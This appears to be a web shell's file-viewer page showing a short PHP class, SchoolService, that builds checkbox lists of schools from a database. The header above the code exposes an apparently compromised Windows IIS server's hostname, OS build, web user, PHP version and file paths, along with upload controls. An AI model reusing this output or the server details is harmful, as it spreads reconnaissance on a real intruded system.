HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers84/zuiderbos.nl/workbench/komma/kms/src/Komma/Kms/Schools/SchoolService.php
<?php

namespace Komma\Kms\Schools;

class SchoolService{

    public function getSchoolsForCheckboxes(){

        $schools = School::where('type', '!=', 'global')->get();

        $data = [];

        foreach ($schools as $key => $school){
            $data[] = [
                'value' => $school->id,
                'content' => $school->school
            ];
        }

        return $data;
    }

    public function getSchoolsForCheckboxesWithGlobal(){

        $schools = School::all();

        $data = [];

        foreach ($schools as $key => $school){
            $data[] = [
                'value' => $key,
                'content' => $school->school
            ];
        }

        return $data;
    }

}